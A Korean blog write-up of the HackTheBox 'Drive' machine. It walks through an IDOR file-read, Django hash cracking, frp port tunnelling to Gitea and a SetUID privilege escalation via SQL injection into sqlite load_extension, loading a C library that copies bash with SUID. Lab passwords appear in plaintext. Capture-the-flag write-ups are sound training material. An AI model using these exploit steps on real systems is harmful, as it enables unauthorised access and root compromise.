HTB Drive
HackTheBox 오픈베타 시즌3의 3번째 머신으로 Linux 환경의 머신의 어려움 난이도로 출시되었다. 이번 포스팅에서는 Drive 머신의 해결 과정을 기록한다.
Recon
PortScan
rustscan
으로 빠르게 오픈된 포트만 확인 후 nmap을 통해 자세한 포트 스캔을 진행하였다. 포트 스캔 결과로 22/tcp
, 80/tcp
가 확인되며 OS System은 Ubuntu로 확인되며, drive.htb
라는 호스트명을 가진것으로 파악된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 17:51 KST
Nmap scan report for 10.129.63.166
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelg
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
WEB
웹 서비스를 탐색하기 전 서브 도메인이 존재하는지 파악하기위해 스캔을 먼저 진행해본 결과, 스캔한 워드리스트에서 탐지할 수 있는 서브도메인은 발견되지 않았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://drive.htb
:: Wordlist : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/vhost-wordlist.txt
:: Header : Host: FUZZ.drive.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
:: Filter : Response words: 0
________________________________________________
:: Progress: [20575/20575] :: Job [1/1] :: 179 req/sec :: Duration: [0:01:56] :: Errors: 0 ::
drive.htb:80
/etc/hosts
에 nmap 스캔에서 확인된 호스트명을 등록 후 웹 서비스 접근 시 아래와 같이 Google Drive가 아닌 Doodle Grive라는 웃기는 네이밍으로 반겨준다.
대상을 살펴보기전 httpx
를 통해 웹 사이트가 사용중인 스펙을 확인해보니 아래와 같이 확인된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
╭─juicemon@juicemon-mac ~/Desktop/HTB/Drive
╰─$ httpx -u 'http://drive.htb' -tech-detect
__ __ __ _ __
/ /_ / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \| /
/ / / / /_/ /_/ /_/ / |
/_/ /_/\__/\__/ .___/_/|_|
/_/
projectdiscovery.io
[INF] Current httpx version v1.3.5 (outdated)
http://drive.htb [Bootstrap,Django,Nginx:1.18.0,OWL Carousel,Python,Ubuntu,jQuery]
대상으로 디렉터리 스캔을 진행하니 아래와 같이 스캔 결과를 확인할 수 있었다. 스캔 결과에서 흥미로워 보이는 경로는 upload 정도로 보이나 드라이브 서비스를 모방한 웹 서비스로 보여 페이지에서 보이는 메뉴를 먼저 훑어보는것으로 방향을 정했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://drive.htb/FUZZ
:: Wordlist : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
login [Status: 200, Size: 1542, Words: 262, Lines: 55, Duration: 305ms]
contact [Status: 200, Size: 6923, Words: 1410, Lines: 144, Duration: 296ms]
logout [Status: 200, Size: 14647, Words: 3681, Lines: 307, Duration: 306ms]
uploads [Status: 200, Size: 1542, Words: 262, Lines: 55, Duration: 229ms]
register [Status: 200, Size: 2077, Words: 437, Lines: 73, Duration: 928ms]
upload [Status: 200, Size: 1542, Words: 262, Lines: 55, Duration: 232ms]
home [Status: 200, Size: 3315, Words: 667, Lines: 134, Duration: 246ms]
reports [Status: 200, Size: 2125, Words: 290, Lines: 93, Duration: 229ms]
subscribe [Status: 500, Size: 145, Words: 11, Lines: 11, Duration: 248ms]
로그인을 위해 회원가입이 가능히며, 잔달되는 POST 데이터에서 흥미로운 데이터는 존재하지 않았다.
어찌됐건 회원가입을 완료 후 로그하면 파일을 업로드하고 다운로드 할 수 있는 기능들을 확인할 수 있다.
업로드 취약점을 확인하기위해 업로드 메뉴에 접근 시 텍스트 파일만 업로드 가능하며, 파일 사이즈가 2MB를 넘길 경우 업로드가 불가능하다는 정보를 확인할 수 있다.
httpx
스캔 결과에서 백앤드로 Django
가 식별되었었고 테스트 파일을 업로드 할 경우 파일의 내용이 웹 페이지에 출력되기에 SSTI
공격을 시도해보기로한다.
Payload All The Things - SSTI의 대부분의 페이로드를 사용해 보았으나, SSTI가 동작하지않았다.
다양한 기능을 테스트하던중 파일을 업로드하면 해당 파일에는 File Index로 추정되는 정수 값을 통해 구별되고있다. 예시로 가장 처음에 테스트로 업로드했던 게시글에 접근 시 아래와 같은 HTTP Request를 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
GET /113/getFileDetail/ HTTP/1.1
Host: drive.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://drive.htb/home/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: csrftoken=M9Go7ak3f99CIcFEvRXfWlVYV5AzkltC; sessionid=lnfuypbpmb9ghh1isvp6pksd1uwvk13m
Connection: close
위 내용을 이용하여 파일 인덱스 값을 무차별대입하여 현재 업로드된 파일들의 값을 확인하니 아래와 같은 인덱스들을 식별할 수 있었다.
회원가입 후 바로 접근하자마자 누구나 볼 수 있었던 파일과, 테스트를 위해 업로드한 파일들은 200 OK를 확인할 수 있었고, 로그인한 계정에서 접근 불가능한 파일들은 401 Unauthorized를 확인하여 파일이 존재하는 것을 확인할 수 있었다.
이후 짱구를 굴리다가 /{fileIdx} 경로로 컨트롤러들이 존재할것으로 파악하여 접근 불가능한 파일 인덱스를 대상으로 스캔을 진행했다.
스캔 결과에서 Status 200으로 확인되는 /{fileIdx}/block
URI가 확인되어 IDOR이 가능할 것 같은 느낌을 받았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://drive.htb/79/FUZZ
:: Wordlist : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
:: Header : Cookie: csrftoken=M9Go7ak3f99CIcFEvRXfWlVYV5AzkltC; sessionid=lnfuypbpmb9ghh1isvp6pksd1uwvk13m
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
update [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 228ms]
block [Status: 200, Size: 5446, Words: 1216, Lines: 175, Duration: 236ms]
delete [Status: 401, Size: 26, Words: 2, Lines: 1, Duration: 226ms]
Foothold
포트 스캔 결과에서 확인되는 웹 서비스에는 서브 도메인이 없는것으로 파악되었으며, 메인 도메인에서 운영중인 Doodle Grive는 파일을 업로드하고 공유하는 기능을 하는것으로 파악되었다. 또 파일 인덱스를 통해 각 파일을 사용자가 컨트롤 할 수 있는 기능들이 존재하는데 이를 역이용하여 무차별대입을 통해 업로드된 파일들의 인덱스 값을 확인할 수 있었고 파일 인덱스를 경로로 하위 디렉터리를 스캔하여 발견된 block
경로에서 200 OK를 응답받을 수 있었다.
IDOR
위 내용을 기반으로 현재 접근 불가능한것으로 확인되는 파일의 인덱스 값인 79, 99, 100, 102
파일에 각각 요청을 진행하였으며 아래와 같이 파일의 내용을 확인할 수 있었고, 그중 79
번 인덱스의 파일 내용에서 martin
계정의 패스워드를 확인할 수 있었다.
Users
martin
IDOR을 통해 타사용자가 업로드한 파일을 확인하여 martin
계정의 패스워드가 담긴 내용을 확인할 수 있었으며, 해당 계정정보를 통해 SSH 접근이 가능하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
╭─juicemon@juicemon-mac ~/Desktop/HTB/Drive
╰─$ ssh martin@drive.htb 130 ↵
martin@drive.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 09 Nov 2023 09:52:55 AM UTC
System load: 0.2
Usage of /: 63.3% of 5.07GB
Memory usage: 21%
Swap usage: 0%
Processes: 227
Users logged in: 0
IPv4 address for eth0: 10.129.63.166
IPv6 address for eth0: dead:beef::250:56ff:feb0:b87e
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
martin@drive:~$ id
uid=1001(martin) gid=1001(martin) groups=1001(martin)
이후 /etc/passwd
에서 martin 계정 외 cris
, tom
사용자가 존재하는것을 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
martin@drive:/opt$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
...
...
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash
...
...
...
/var/www/backups
/opt 경로에서 www-data 서비스 계정의 소유로 확인되는 스크립트 파일이 확인되어 역으로 서비스 계정의 권한을 획득해야되는 것으로 예상하여 /var/www
경로에 도달하니 backups
디렉터리가 존재하였으며, 해당 디렉터리에는 sqlite3 파일을 7z으로 압축한 백업 파일과 압축되지않은 db.sqlite3
를 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
martin@drive:/var/www/backups$ ls -al
total 3740
drwxr-xr-x 2 www-data www-data 4096 Sep 1 18:23 .
drwxr-xr-x 5 root root 4096 Sep 15 13:34 ..
-rw-r--r-- 1 www-data www-data 13018 Sep 1 20:00 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12226 Sep 1 20:00 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12722 Sep 1 20:00 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data 12770 Sep 1 20:00 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root root 3760128 Dec 26 2022 db.sqlite3
모든 파일을 공격자 PC로 전송하여 가장 먼저 압축되지않은 db.sqlite3 파일을 확인하니 5개의 유저명과 SHA1으로 해싱된 해시를 확인할 수 있었다.
해당 내용을 hashcat
을 통해 크랙이 가능한지 확인하기 위해 아래와 같이 hashes.txt를 작성하였다.
1
2
3
4
5
jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
이후 hashcat을 동작하니 해당 해시는 Django(SHA1) 해시 타입으로 확인되었으며, tomHands
계정의 패스워드를 크랙 성공하였다!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash.txt /usr/share/wordlists/rockyou.txt --user
...
...
...
┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash.txt /usr/share/wordlists/rockyou.txt --user --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
124 | Django (SHA-1) | Framework
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
해당 계정은 /etc/passwd
에서 확인한 tom 계정으로 추정되어 SSH 접근 시도하니 해당 계정이 아닌것인지, 패스워드가 변경된것인지 알 수는 없지만 로그인이 불가능했다.
1
2
3
% ssh tom@drive.htb
tom@drive.htb's password:
Permission denied, please try again.
db_backup.sqlite3.7z
/var/www/backups
에서 확인된 7z으로 압축된 다양한 압축 파일들은 아래와 같이 암호가 걸려있어 확인이 불가능했다. 위에서 확인한 tomHands
의 패스워드를 사용해도 열람이 불가능했다.
Gitea
위에서 7z파일을 크랙하기위해 7z2john
을 활용하여 해시를 추출해 john the ripper로 크랙 시도하려했으나, 추출되는 해시가 존재하지않았다. 그렇기에 다시 다른쪽으로 눈을 돌려 시스템을 정찰하는 과정에서 로컬에서 서비스 중인 3000/TCP
포트를 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
martin@drive:/tmp$ netstat -ntlp;
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::3000 :::* LISTEN -
위에서 3306/TCP
로 서비스 중인 MySQL의 경우 접속 가능한 계정 정보를 확인할 수 없어 접속이 불가능하여 3000/TCP
서비스를 확인해보니 쿠키값 중 일부를 통해 Gitea
라는 것을 확인할 수 있었다.
1
2
3
4
martin@drive:/tmp$ curl http://localhost:3000/ -I
HTTP/1.1 200 OK
Set-Cookie: i_like_gitea=29ea5f4d4b748517; Path=/; HttpOnly; SameSite=Lax
Date: Tue, 17 Oct 2023 07:16:42 GMT
gitea 레포지토리에 접근하려면 내부에서만 접근이 가능하기에 탈취한 martin 계정으로 frp
를 업로드하고 공격자 PC로 3000/tcp 포트를 바인딩한다.
frp - 공격자
1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/frp_0.52.1_linux_amd64]
└─# cat frps.toml
# frps.toml
bindPort = 7000
┌──(root㉿kali)-[~/Desktop/frp_0.52.1_linux_amd64]
└─# ./frps -c frps.toml
2023/10/17 03:32:23 [I] [root.go:102] frps uses config file: frps.toml
ftp - martin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
martin@drive:/tmp$ cat frpc.toml
# frpc.toml
serverAddr = "10.10.14.23"
serverPort = 7000
[[proxies]]
name = "gitea"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3000
remotePort = 3000
martin@drive:/tmp$ ./frpc -c ./frpc.toml
2023/10/17 07:35:20 [I] [root.go:139] start frpc service for config file [./frpc.toml]
2023/10/17 07:35:20 [I] [service.go:299] [ff23890f40a8ed13] login to server success, get run id [ff23890f40a8ed13]
2023/10/17 07:35:20 [I] [proxy_manager.go:156] [ff23890f40a8ed13] proxy added: [gitea]
2023/10/17 07:35:21 [I] [control.go:173] [ff23890f40a8ed13] [gitea] start proxy success
리버스 프록시가 정상 동작하면서 공격자 PC에서 gitea에 접근이 가능한 환경을 구성하였다.
gitea에서 계정 생성이 자유로운것으로 파악되어 juicemon 계정을 생성하여 로그인했으나, 접근 가능한 레포지토리는 확인할 수 없었으며, 아래와 같은 gitea 사용자를 확인할 수 있었다.
그중 IDOR로 확인된 martin의 패스워드를 이용해 martinCruz
계정에 로그인이 가능했으며, martin 권한의 쉘에서 접근 불가능했던 /var/www/DoodleGrive
경로에 배포된 소스코드로 보이는 레포지토리를 확인할 수 있었다.
해당 레포지토리에는 db_backup.sh
파일이 존재하는데 스크립트 내 7z을 압축할 때 사용한 패스워드 정보를 확인할 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'PASSWORD' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
#backups is more than 10... deleting to oldest backup
rm $(ls *.7z --sort=t --color=never | tail -1)
#oldest backup deleted successfully!
fi
rm backups_num.tmp
확인된 7z 패스워드를 이용하여 /var/www/backups
에서 확인된 여러 7z파일을 압축 해제할 수 있으며, 해당 압축파일 내 또다른 db.slite3
파일이 존재했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿kali)-[~/Desktop/drive/tmp]
└─# 7z x ./1_Dec_db_backup.sqlite3.7z
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs 12th Gen Intel(R) Core(TM) i9-12900KF (90672),ASM,AES-NI)
Scanning the drive for archives:
1 file, 13018 bytes (13 KiB)
Extracting archive: ./1_Dec_db_backup.sqlite3.7z
--
Path = ./1_Dec_db_backup.sqlite3.7z
Type = 7z
Physical Size = 13018
Headers Size = 170
Method = LZMA2:22 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed):
Everything is Ok
Size: 3760128
Compressed: 13018
┌──(root㉿kali)-[~/Desktop/drive/tmp]
└─# tree
.
├── 1_Dec_db_backup.sqlite3.7z
└── DoodleGrive
└── db.sqlite3
각각 압축을 해제하여 확인되는 sqlite3 파일들을 하나씩 확인하니 압축되지않았기에 확인할 수 있었던 sqlite3의 내용가 일부 다른 부분들이 존재하여 대조해보니 패스워드 해시가 일부 다른것으로 파악되었다.
hashcat
hash crack - 1_Dec_db_backup.sqlite3.7z
압축해제된 sqlite3의 내용을 기반으로 아래와 같이 해시 리스트를 구성 후 다시 한번 해시를 크랙 시도 결과 Django (PBKDF2-SHA256)
해시 타입을 사용하지만 크랙이 불가했다.
1
2
3
4
5
admin:pbkdf2_sha256$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3+IkHI6KK9Ue8nZeFU=
jamesMason:pbkdf2_sha256$390000$npEvp7CFtZzEEVp9lqDJOO$So15//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo=
martinCruz:pbkdf2_sha256$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM=
tomHands:pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=
crisDisel:pbkdf2_sha256$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0/jjXK0RDcP6U=
hash crack - 1_Nov_db_backup.sqlite3.7z
다음 백업 파일에서도 동일해서 해시를 추출하여 크랙 시도를 진행한다.
1
2
3
4
5
jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
운좋게도 이번 sqlite3 파일내 패스워드 해시중 다시한번 tomHands
계정의 패스워드가 크랙되었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash3.txt /usr/share/wordlists/rockyou.txt --user
...
...
...
┌──(root㉿kali)-[~/Desktop/drive]
└─# hashcat ./hash3.txt /usr/share/wordlists/rockyou.txt --user --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
124 | Django (SHA-1) | Framework
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:PASSWORD
tom
위에서 백업 파일을 하나하나 압축 해제 후 DB에서 패스워드 해시를 추출해 hashcat으로 크랙하여 tomHands
계정의 패스워드를 알 수 있었다. 크랙되었던 패스워드는 사용이 불가능했지만 이번에 크랙된 패스워드는 tom
계정으로 로그인이 가능했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kali)-[~]
└─# ssh tom@10.129.84.217
tom@10.129.84.217's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 17 Oct 2023 08:21:38 AM UTC
System load: 0.0
Usage of /: 63.8% of 5.07GB
Memory usage: 24%
Swap usage: 0%
Processes: 234
Users logged in: 1
IPv4 address for eth0: 10.129.84.217
IPv6 address for eth0: dead:beef::250:56ff:feb0:11c
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Oct 9 09:19:30 2023 from 10.10.14.40
tom@drive:~$ id
uid=1003(tom) gid=1003(tom) groups=1003(tom)
Privilege Escalation
tom 계정의 쉘에 접근하여 홈디렉터리를 확인하면 아래와 같이 root 권한으로 SetUID가 활성화된 파일인 doodleGrive-cli
를 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
tom@drive:~$ ls -al
total 916
drwxr-x--- 6 tom tom 4096 Sep 13 13:51 .
drwxr-xr-x 6 root root 4096 Dec 25 2022 ..
lrwxrwxrwx 1 root root 9 Sep 6 02:56 .bash_history -> /dev/null
-rw-r--r-- 1 tom tom 220 Dec 25 2022 .bash_logout
-rw-r--r-- 1 tom tom 3771 Dec 25 2022 .bashrc
drwx------ 3 tom tom 4096 Jan 1 2023 .cache
drwx------ 3 tom tom 4096 Feb 3 2023 .config
-rwSr-x--- 1 root tom 887240 Sep 13 13:36 doodleGrive-cli
drwx------ 3 tom tom 4096 Jan 1 2023 .gnupg
drwxrwxr-x 3 tom tom 4096 Dec 28 2022 .local
-rw-r--r-- 1 tom tom 807 Dec 25 2022 .profile
-rw-r----- 1 root tom 719 Feb 11 2023 README.txt
-rw-r----- 1 root tom 33 Oct 17 03:34 user.txt
-rw-r--r-- 1 tom tom 39 Aug 29 05:59 .vimrc
tom@drive:~$ file doodleGrive-cli
doodleGrive-cli: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=8c72c265a73f390aa00e69fc06d96f5576d29284, for GNU/Linux 3.2.0, not stripped
doodleGrive-cli
실행해보니 아직 개발단계라 문제있으면 제보해달라고하며, 알고있는 모든 계정정보를 입력해봤지만 전부 사용 불가능했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
tom
Enter password for tom:
johnmayer7
Invalid username or password.
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
martin
Enter password for martin:
Xk4@KjyrYv8t194L!
Invalid username or password.
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
tomHands
Enter password for tomHands:
johnmayer7
Invalid username or password.
tom@drive:~$ ./doodleGrive-cli
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
martinCruz
Enter password for martinCruz:
Xk4@KjyrYv8t194L!
Invalid username or password.
해당 파일을 공격자 PC로 옮겨서 분석해보니 인증 시 사용되는 계정정보가 하드코딩 되어있는 것을 확인할 수 있었다.
해당 정보를 통해 간단한 인증을 우회할 수 있었고 인증이 성공하여 메뉴가 출력된다.
1
2
3
4
5
6
7
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
activate user account
5번 옵션인 activate user account
기능을 처리하는 함수의 일부에서 아래와 같이 system 함수 호출을 확인할 수 있었다.
system 함수가 실행되기에 여러가지 방법으로 커멘드 인젝션을 진행했다. 하지만 사용자의 입력값을 필터링하는 목적으로 보이는 sanitize_string
함수를 간과하고 진행하다보니 엄청 오래 걸렸다.
해당 함수는 특수문자 필터링, 문자열 길이 제한하여 반환하는 기능을 한다.
SQL Injection - load_extension
해당 cli 프로그램은 sqlite를 사용하는데 sqlite에서 외부 라이브러리를 로드하여 실행할 수 있는것을 hahwul 블로그를 통해 알 수 있었다.
예전에 사용하던 Velog에 포스팅한 HTB Zipping에서 사용했던 것처럼 공유라이브러리를 제작해 로드될 시 실행되는 init 생성자 함수에 /bin/bash 를 복사하고 SetUID를 활성화 하는 코드 제작했다.
1
2
3
4
5
6
7
8
tom@drive:~$ cat ./lib.c
#include <unistd.h>
void init (void) __attribute__((constructor));
void init (void) {
system("/usr/bin/cp /bin/bash /tmp/bash && /usr/bin/chmod u+s /tmp/bash");
}
이후 라이브러리 형태로 빌드하여 tom의 홈디렉터리에 pwn.so
라는 아웃풋으로 빌드한다.
1
tom@drive:~$ gcc -shared -o /home/tom/pwn.so -fPIC lib.c
이후 다시 cli 프로그램을 실해앟면서 아래와 같이 username을 조작하여 where절을 조작하여 빌드한 라이브러리를 로드할 수 있도록 유도한다.
1
2
3
4
Select option: 5
Enter username to activate account: \"+load_extension(\"./pwn.so\")--;
Activating account for user '"+load_extension(pwn.so")--'...
Error: near "")--"": syntax error
더블쿼터 이스케이프 구문에서 에러가 난것같아 load_extension 함수 내 이스케이프를 제거했다.
하지만 sanitize_string 함수로 인해 ./pwn.so
가 .pwn.so
로 변경되었다.
1
2
3
Enter username to activate account: \"+load_extension("./pwn.so")--;
Activating account for user '"+load_extension(".pwn.so")--'...
Error: .pwn.so.so: cannot open shared object file: No such file or directory
sqli시 자주 사용되는 아스키를 통한 우회를 시도했다. 하지만 "+load_extension(char(46,47,112,119,110,46,115,111))–; 구문이 “+load_extension(char(46,47,112,119,11 로 변경된것을 볼 수 있다.
그렇다. 또 위에서 계속 언급했던 sanitize_string 함수로 인해 입력값 길이 검증으로 문자열이 짤린것이다.
1
2
3
4
Select option: 5
Enter username to activate account: \"+load_extension(char(46,47,112,119,110,46,115,111))--;
Activating account for user '"+load_extension(char(46,47,112,119,11'...
Error: unrecognized token: "";"
이후 최대한 라이브러리 파일명을 줄여 최대한 라이브러리 이름을 줄여서 pwn.so
파일을 a
로 파일명을 변경했고 다음과 같이 시도했더니 정상적으로 로드가 된것같다.
1
2
3
4
Select option: 5
Enter username to activate account: \"+load_extension(char(46,47,97))--;
Activating account for user '"+load_extension(char(46,47,97))--'...
Error: ./a: undefined symbol: sqlite3_a_init
